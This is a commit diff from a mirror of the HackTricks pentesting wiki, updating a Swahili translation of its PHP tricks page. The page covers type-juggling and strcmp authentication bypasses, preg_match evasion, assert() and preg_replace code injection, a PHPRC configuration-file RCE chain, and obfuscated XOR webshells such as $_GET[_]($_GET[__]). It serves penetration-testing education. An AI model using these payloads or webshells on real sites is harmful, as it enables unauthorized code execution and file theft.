mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 23:18:33 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
5169dbd6a6
commit
ff62fd61f2
3 changed files with 191 additions and 178 deletions
network-services-pentesting/pentesting-web/php-tricks-esp
pentesting-web
windows-hardening/active-directory-methodology
|
@ -14,9 +14,15 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## Mahali Maarufu ya Vidakuzi:
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hii pia ni halali kwa vidakuzi vya phpMyAdmin.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Mahali ya Kawaida ya Vidakuzi:
|
||||
|
||||
Hii pia ni sahihi kwa vidakuzi vya phpMyAdmin.
|
||||
|
||||
Vidakuzi:
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
|
@ -32,20 +38,20 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### Ulinganisho wa Kupumzika/Type Juggling ( == )
|
||||
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha aina ya data inayolinganishwa iwe sawa unahitaji kutumia `===`.
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
|
||||
|
||||
Majedwali ya ulinganisho wa PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
Vitabu vya ulinganisho wa PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> Kweli` String ambayo haianzi na nambari ni sawa na nambari
|
||||
* `"0xAAAA" == "43690" -> Kweli` Maneno yaliyoundwa na nambari katika muundo wa dec au hex yanaweza kulinganishwa na nambari/maneno mengine na matokeo ya Kweli ikiwa nambari zilikuwa sawa (nambari katika string zinaeleweka kama nambari)
|
||||
* `"0e3264578" == 0 --> Kweli` String inayoanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> Kweli` String inayoanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> Kweli` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti kuingiza string ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash ikiwaanza na "0e" na bila herufi yoyote, unaweza kupita kwa kulinganisha. Unaweza kupata **maneno yaliyohashishwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> Kweli` Herufi yoyote katika string ni sawa na int 0
|
||||
* `"string" == 0 -> True` String ambayo haianzi na nambari ni sawa na nambari
|
||||
* `"0xAAAA" == "43690" -> True` Maneno yaliyoundwa na nambari katika muundo wa dec au hex yanaweza kulinganishwa na nambari/maneno mengine na matokeo ya True ikiwa nambari zilikuwa sawa (nambari katika string zinaeleweka kama nambari)
|
||||
* `"0e3264578" == 0 --> True` String ikiwaanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> True` String ikiwaanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti kuingiza string ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash ikiwaanza na "0e" na bila herufi yoyote, unaweza kupita kwa kulinganisha. Unaweza kupata **maneno yaliyohashishwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Herufi yoyote katika string ni sawa na int 0
|
||||
|
||||
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
|
@ -61,7 +67,7 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
Ikiwa kazi hii inatumika kwa **uthibitisho wowote** (kama vile kuthibitisha nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma safu tupu badala ya string kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kuepuka uthibitisho huu:
|
||||
Ikiwa kazi hii inatumika kwa **uthibitisho wowote** (kama vile kuthibitisha nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma safu tupu badala ya herufi kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kuepuka uthibitisho huu:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
|
@ -70,19 +76,19 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
```
|
||||
Hitilafu ile ile hutokea na `strcasecmp()`
|
||||
|
||||
### Upigaji Kura wa Aina Kubwa
|
||||
### Upangaji wa Aina Kali
|
||||
|
||||
Hata kama `===` inatumika, kunaweza kuwa na makosa yanayofanya upigaji kura uwe hatarini kwa upigaji kura wa aina kubwa. Kwa mfano, ikiwa upigaji kura unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha:
|
||||
Hata kama `===` inatumika, kunaweza kuwa na makosa yanayofanya upangaji huo kuwa hatarini kwa upangaji wa aina. Kwa mfano, ikiwa upangaji unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** inaweza kutumika kwa **kuthibitisha kuingia kwa mtumiaji** (inachunguza ikiwa kuna **neno/regex** lolote kutoka kwa **orodha nyeusi** lipo kwenye **kuingia kwa mtumiaji** na ikiwa halipo, nambari inaweza kuendelea na utekelezaji wake).
|
||||
**`preg_match()`** inaweza kutumika kudhibitisha **matokeo ya mtumiaji** (inachunguza ikiwa kuna **neno/regex** lolote kutoka kwenye **orodha nyeusi** lipo kwenye **matokeo ya mtumiaji** na ikiwa halipo, nambari inaweza kuendelea na utekelezaji wake).
|
||||
|
||||
#### Kupita kwa Mstari Mpya
|
||||
#### Kupita kwenye mstari mpya
|
||||
|
||||
Hata hivyo, wakati wa kudhibiti mwanzo wa regexp `preg_match()` **inachunguza tu mstari wa kwanza wa kuingia kwa mtumiaji**, kisha ikiwa kwa njia fulani unaweza **kutuma** kuingia kwa mtumiaji kwa **mistari kadhaa**, unaweza kufanikiwa kupita kwenye ukaguzi huu. Mfano:
|
||||
Hata hivyo, wakati wa kudhibiti mwanzo wa regexp `preg_match()` **inachunguza tu mstari wa kwanza wa matokeo ya mtumiaji**, kisha ikiwa kwa njia fulani unaweza **kupeleka** matokeo kwa **mistari kadhaa**, unaweza kupita kwenye ukaguzi huu. Mfano:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -95,7 +101,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Ili kudukua ukaguzi huu unaweza **kupeleka thamani na mistari mipya iliyofanywa urlencoded** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, ituma katika **mistari kadhaa**:
|
||||
Ili kuzidisha ukaguzi huu unaweza **kupeleka thamani na mistari mipya iliyofanywa urlencoded** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, ituma katika **mistari kadhaa**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -103,10 +109,10 @@ Ili kudukua ukaguzi huu unaweza **kupeleka thamani na mistari mipya iliyofanywa
|
|||
```
|
||||
Pata mfano hapa: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Kosa la Urefu kwa Kupita**
|
||||
#### **Kosa la urefu kufanya upuuzi**
|
||||
|
||||
(Hii njia ya kupita ilijaribiwa kwa PHP 5.2.5 na sikufanikiwa kuifanya kazi kwa PHP 7.3.15)\
|
||||
Ikiwa unaweza kutuma kwa `preg_match()` kiingilio kikubwa sana **halali**, haitaweza **kuliprocess** na utaweza **kupita** ukaguzi. Kwa mfano, ikiwa inazuia JSON unaweza kutuma:
|
||||
(Hii njia ya kufanya upuuzi ilijaribiwa kwa PHP 5.2.5 na sikufanikiwa kuifanya kazi kwa PHP 7.3.15)\
|
||||
Ikiwa unaweza kutuma kwa `preg_match()` kiingilio kikubwa sana **cha halali**, hakitaweza **kuliprocess** na utaweza **kupita** ukaguzi. Kwa mfano, ikiwa inazuia JSON unaweza kutuma:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -116,12 +122,12 @@ Mbinu kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ct
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa ufupi tatizo hutokea kwa sababu `preg_*` functions katika PHP inategemea [maktaba ya PCRE](http://www.pcre.org/). Katika PCRE, baadhi ya mifano ya kawaida hulinganishwa kwa kutumia wito mwingi wa kurudufu, ambao unatumia nafasi nyingi ya steki. Inawezekana kuweka kikomo kwenye idadi ya kurudufu inayoruhusiwa, lakini katika PHP kikomo hiki [kawaida ni 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambayo ni zaidi ya inavyolingana kwenye steki.
|
||||
Kwa ufupi tatizo hutokea kwa sababu `preg_*` functions katika PHP inategemea [maktaba ya PCRE](http://www.pcre.org/). Katika PCRE, mifano fulani ya kawaida hulinganishwa kwa kutumia wito mwingi wa kurudia, ambao unatumia nafasi nyingi ya stak. Inawezekana kuweka kikomo kwenye idadi ya kurudia inayoruhusiwa, lakini katika PHP kikomo hiki [kawaida ni 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambayo ni zaidi ya inavyolingana kwenye stak.
|
||||
|
||||
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ililinkiwa kwenye chapisho ambapo inazungumziwa kwa kina zaidi kuhusu suala hili. Kazi yetu ilikuwa wazi sasa:\
|
||||
**Tuma kuingiza ambayo itafanya regex ifanye kurudufu 100,000+, kusababisha SIGSEGV, kufanya `preg_match()` function irudishe `false` hivyo kufanya programu iweze kufikiria kuingiza yetu si mbaya, kutupa mshangao mwishoni mwa mzigo kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> bendera :)**.
|
||||
[Kijadili cha Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia kililinkiwa kwenye chapisho ambapo inazungumziwa kwa kina zaidi kuhusu suala hili. Kazi yetu ilikuwa wazi sasa:\
|
||||
**Tuma kuingiza ambayo itafanya regex ifanye kurudia 100,000+, kusababisha SIGSEGV, kufanya `preg_match()` function irudishe `false` hivyo kufanya programu iweze kufikiria kuingiza yetu si mbaya, kutupa mshangao mwishoni mwa mzigo kama `{system(<amri mbaya sana>)}` ili kupata SSTI --> RCE --> bendera :)**.
|
||||
|
||||
Vizuri, kwa maneno ya regex, hatufanyi kweli "kurudufu" 100k, bali badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinaeleza kawaida ni 1,000,000 (1M) katika kipengele cha `pcre.backtrack_limit`.\
|
||||
Vizuri, kwa maneno ya regex, hatufanyi kweli "kurudia" 100k, bali badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema kawaida ni 1,000,000 (1M) katika kipengele cha `pcre.backtrack_limit`.\
|
||||
Kufikia hilo, `'X'*500_001` itatoa hatua milioni moja za kurudi nyuma (mbele 500k na nyuma 500k):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
|
@ -139,7 +145,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Tekeleza Baada ya Kuelekeza (EAR)
|
||||
|
||||
Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** function inayoitwa baada ya kichwa cha **`Location`** kusetiwa, PHP inaendelea kutekeleza na kuongeza data kwenye mwili:
|
||||
Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayoitwa baada ya kichwa cha **`Location`** kusetiwa, PHP inaendelea kutekeleza na kuongeza data kwenye mwili:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -149,7 +155,7 @@ header('Location: /index.php?page=default.html');
|
|||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Udukuzi wa Njia na Ufichuaji wa Faili
|
||||
## Uchunguzi wa Kupitisha Njia na Ufichuaji wa Faili
|
||||
|
||||
Angalia:
|
||||
|
||||
|
@ -157,18 +163,18 @@ Angalia:
|
|||
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Mbinu zaidi
|
||||
## Mbinu Zaidi
|
||||
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imepangwa vibaya, **register\_globals** inaweza kuwa active (au tabia zao inafanana). Hii inamaanisha kwamba katika variables za kawaida kama $\_GET ikiwa zina thamani kama $\_GET\["param"]="1234", unaweza kufikia hiyo thamani kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha variables** ambazo hutumiwa ndani ya nambari.
|
||||
* **PHPSESSION cookies za kikoa kimoja zimehifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya kikoa **vidakuzi tofauti hutumiwa kwenye njia tofauti** unaweza kufanya njia hiyo **iweze kufikia kuki ya njia** kwa kuweka thamani ya kuki ya njia nyingine.\
|
||||
Kwa njia hii ikiwa **njia zote mbili zinafikia variable yenye jina sawa** unaweza kufanya **thamani ya variable hiyo katika njia1 iweze kutumika kwa njia2**. Na kisha njia2 itachukua kama halali variables za njia1 (kwa kumpa kuki jina linalolingana nayo katika njia2).
|
||||
* Unapokuwa na **majina ya watumiaji** wa watumiaji wa mashine. Angalia anwani: **/\~\<USERNAME>** kuona ikiwa miongozo ya php imeamilishwa.
|
||||
* **PHPSESSION cookies za kikoa kimoja zimehifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya kikoa **tofauti cookies hutumiwa kwenye njia tofauti** unaweza kufanya njia hiyo **ipate cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
|
||||
Kwa njia hii ikiwa **njia zote mbili zinapata variable yenye jina sawa** unaweza kufanya **thamani ya variable hiyo katika njia1 iweze kutumika kwa njia2**. Na kisha njia2 itachukua kama halali variables za njia1 (kwa kumpa cookie jina linalolingana nayo katika njia2).
|
||||
* Unapokuwa na **majina ya watumiaji** wa watumiaji wa mashine. Angalia anwani: **/\~\<JINA LA MTUMIAJI>** kuona ikiwa saraka za php zimeamilishwa.
|
||||
* [**LFI na RCE kwa kutumia php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Hizi ni kazi zinazotumiwa kawaida katika PHP kwa **kuzalisha hashes kutoka kwa nywila** na kwa **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Algorithms zinazoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kizuizi cha ukubwa katika kuingia cha 72bytes**. Kwa hivyo, unapojaribu kuhifadhi kitu kikubwa kuliko 72bytes na algorithm hii, ni 72B ya kwanza tu itatumika:
|
||||
Hizi ni kazi zinazotumiwa kawaida katika PHP kwa **kuzalisha hashes kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Algorithms zinazoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kizuizi cha ukubwa katika kuingiza wa 72bytes**. Kwa hivyo, unapojaribu kuhifadhi kitu kikubwa kuliko 72bytes na algorithm hii, tu 72B za kwanza zitatumika:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -176,10 +182,10 @@ False
|
|||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### Kichwa cha HTTP kukiuka kutumia makosa ya PHP
|
||||
### Kichwa cha HTTP kukiuka kwa kutumia makosa ya PHP
|
||||
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kutoa nyuma baadhi ya data iliyotolewa na mtumiaji**, mtumiaji anaweza kufanya **PHP server ichapishe nyuma baadhi ya maudhui marefu** ili wakati inajaribu **kuongeza vichwa** kwenye jibu, server itatoa kosa.\
|
||||
Katika hali ifuatayo **mshambuliaji alifanya server itoe makosa makubwa**, na kama unavyoona kwenye skrini wakati PHP ilipojaribu **kurekebisha habari za kichwa, haikuweza** (kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kutoa tena baadhi ya data iliyotolewa na mtumiaji**, mtumiaji anaweza kufanya server ya PHP ichapishe **maudhui marefu vya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu server itatoa kosa.\
|
||||
Katika hali ifuatayo **mshambuliaji alifanya server itoe makosa makubwa**, na kama unavyoona kwenye skrini wakati PHP ilipojaribu **kurekebisha habari ya kichwa, haikuweza** (kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -189,7 +195,7 @@ Katika hali ifuatayo **mshambuliaji alifanya server itoe makosa makubwa**, na ka
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Tazama hii kwa kazi zaidi za PHP zinazofaa](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Tazama hii kwa kazi zaidi za PHP zinazofaa](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **RCE kupitia** **preg\_replace()**
|
||||
```php
|
||||
|
@ -209,16 +215,16 @@ Chaguo hili la preg\_replace limekuwa **limepitwa na wakati tangu PHP 5.5.0.**
|
|||
```
|
||||
### **RCE kupitia Assert()**
|
||||
|
||||
Hii function ndani ya php inaruhusu wewe **kutekeleza code ambayo imeandikwa kwenye string** ili **irudishe true au false** (na kulingana na hii kubadilisha utekelezaji). Kawaida variable ya mtumiaji itaingizwa katikati ya string. Kwa mfano:\
|
||||
Hii function ndani ya php inaruhusu wewe **kutekeleza code ambayo imeandikwa kwa string** ili **irudishe true au false** (na kulingana na hii kubadilisha utekelezaji). Kawaida variable ya mtumiaji itaingizwa katikati ya string. Kwa mfano:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> Katika kesi hii ili kupata **RCE** unaweza kufanya:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
Utahitaji **kuvunja** muundo wa kanuni, **kuongeza** mzigo wako, na kisha **kuirekebisha tena**. Unaweza kutumia **shughuli za mantiki** kama "**na" au "%26%26" au "|"**. Tafadhali kumbuka kwamba "au", "||" haifanyi kazi kwa sababu ikiwa hali ya kwanza ni kweli mzigo wetu hautatekelezwa. Vivyo hivyo, ";" haifanyi kazi kwa sababu mzigo wetu hautatekelezwa.
|
||||
|
||||
**Chaguo lingine** ni kuongeza kwenye mnyororo utekelezaji wa amri: `'.highlight_file('.passwd').'`
|
||||
**Chaguo lingine** ni kuongeza kwenye mfuatano wa maandishi utekelezaji wa amri: `'.highlight_file('.passwd').'`
|
||||
|
||||
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya kivinjari ili kubadilisha utekelezaji: `$file = "hola"`
|
||||
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya variable ili kubadilisha utekelezaji: `$file = "hola"`
|
||||
|
||||
### **RCE kupitia usort()**
|
||||
|
||||
|
@ -253,18 +259,18 @@ Kugundua idadi ya mabano unayohitaji kufunga:
|
|||
|
||||
### **RCE kupitia .httaccess**
|
||||
|
||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **configure** mambo kadhaa na hata kutekeleza msimbo (kwa kusanidi faili hizo zenye kipengele cha .htaccess zinaweza kutekelezwa).
|
||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **configure** mambo kadhaa na hata kutekeleza msimbo (kwa kusanidi faili hizo zenye kikomo cha .htaccess zinaweza kutekelezwa).
|
||||
|
||||
Mashell tofauti za .htaccess zinaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
|
||||
Mashine tofauti za .htaccess zinaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE kupitia Mazingira ya Mazingira
|
||||
|
||||
Ikiwa unapata udhaifu unaoruhusu kubadilisha **mazingira ya mazingira katika PHP** (na mwingine wa kupakia faili, ingawa kwa utafiti zaidi labda hii inaweza kudanganywa), unaweza kutumia tabia hii kupata **RCE**.
|
||||
Ikiwa unapata udhaifu unaoruhusu **kurekebisha mazingira ya mazingira katika PHP** (na mwingine wa kupakia faili, ingawa kwa utafiti zaidi labda hii inaweza kudanganywa), unaweza kutumia tabia hii kupata **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hii mazingira ya mazingira inaruhusu mzigo wa maktaba za kupindukia wakati wa kutekeleza programu zingine (ingawa katika kesi hii inaweza isiweze kufanya kazi).
|
||||
- **`PHPRC`** : Inaagiza PHP **mahali pa kupata faili yake ya usanidi**, kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia `PHPRC` kuashiria PHP kwake. Ongeza kuingia **`auto_prepend_file`** ikieleza faili ya pili iliyopakiwa. Faili ya pili ina msimbo wa PHP wa kawaida, ambao kisha unatekelezwa na PHP kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili ya PHP inayoleta msimbo wetu wa shelikodi
|
||||
2. Pakia faili ya pili, inayoleta kuingia kiotomatiki kuiagiza mchakato wa PHP kutekeleza faili tuliyopakia hatua ya 1
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hii mazingira ya mazingira inaruhusu mzigo wa maktaba za kupindukia wakati wa kutekeleza programu zingine (ingawa katika kesi hii inaweza isiweze kazi).
|
||||
- **`PHPRC`** : Inaagiza PHP **mahali pa kupata faili yake ya usanidi**, kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia `PHPRC` kuashiria PHP kwake. Ongeza kuingia **`auto_prepend_file`** ikieleza faili ya pili iliyopakiwa. Faili ya pili ina msimbo wa PHP wa kawaida, ambao kisha unatekelezwa na wakati wa PHP kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili ya PHP inayoleta msimbo wetu wa kificho
|
||||
2. Pakia faili ya pili, inayoleta kuingia **`auto_prepend_file`** ikiiagiza mchakato wa PHP wa awali kutekeleza faili tuliyopakia hatua ya 1
|
||||
3. Weka mazingira ya `PHPRC` kwa faili tuliyopakia hatua ya 2.
|
||||
- Pata habari zaidi juu ya jinsi ya kutekeleza mnyororo huu [**kutoka kwenye ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - chaguo lingine
|
||||
|
@ -282,21 +288,21 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
Ikiwa unafuatilia kwa makosa maombi ya PHP unaweza kuwezesha uchapishaji wa makosa kwa ujumla katika `/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2`
|
||||
Ikiwa unafuatilia kosa katika programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa kuzidisha katika `/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Kufuta Obfuscating PHP code
|
||||
### Kufuta Obfuscating ya Msimbo wa PHP
|
||||
|
||||
Unaweza kutumia **mtandao**[ **www.unphp.net**](http://www.unphp.net) **kufuta obfuscate php code.**
|
||||
Unaweza kutumia **mtandao**[ **www.unphp.net**](http://www.unphp.net) **kufuta obfuscating ya msimbo wa php.**
|
||||
|
||||
## PHP Wrappers & Protocols
|
||||
|
||||
PHP Wrappers na itifaki zinaweza kukuruhusu **kupuuza ulinzi wa kuandika na kusoma** katika mfumo na kuathiri. Kwa [**mifano zaidi angalia ukurasa huu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP Wrappers na itifaki zinaweza kukuruhusu **kupuuza ulinzi wa kuandika na kusoma** kwenye mfumo na kuathiri. Kwa [**mifano zaidi angalia ukurasa huu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug unauthenticated RCE
|
||||
|
||||
Ikiwa unaona kwamba **Xdebug** ime **wezeshwa** katika matokeo ya `phpconfig()` unapaswa kujaribu kupata RCE kupitia [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
Ikiwa unaona kwamba **Xdebug** ime **wezeshwa** kwenye matokeo ya `phpconfig()` unapaswa kujaribu kupata RCE kupitia [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
## Variable variables
|
||||
## Variables za Variables
|
||||
```php
|
||||
$x = 'Da';
|
||||
$$x = 'Drums';
|
||||
|
@ -326,16 +332,16 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
|
|||
```
|
||||
### **XOR**
|
||||
|
||||
XOR ni mbinu ya kuficha data kwa kutumia opereta ya XOR. Inaweza kutumika kuficha data muhimu kwenye maombi ya PHP. Kwa mfano, unaweza kutumia XOR kuficha URLs za maombi ya API au data nyingine nyeti inayopitishwa kwenye maombi. Kumbuka kuwa XOR sio mbinu ya usalama kamili lakini inaweza kuwa sehemu ya mbinu za kuficha data.
|
||||
XOR ni mbinu ya kuficha data ambayo inaweza kutumika kwa kuchanganya data na funguo za XOR.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR msimbo wa shell rahisi
|
||||
### XOR msimbo wa kabati rahisi
|
||||
|
||||
Kulingana na [**makala hii**](https://mgp25.com/ctf/Web-challenge/), inawezekana kuzalisha msimbo wa shell rahisi kwa njia ifuatayo:
|
||||
Kulingana na [**hii andika**](https://mgp25.com/ctf/Web-challenge/) inawezekana kuzalisha msimbo wa kabati rahisi kwa njia ifuatayo:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -409,9 +415,13 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
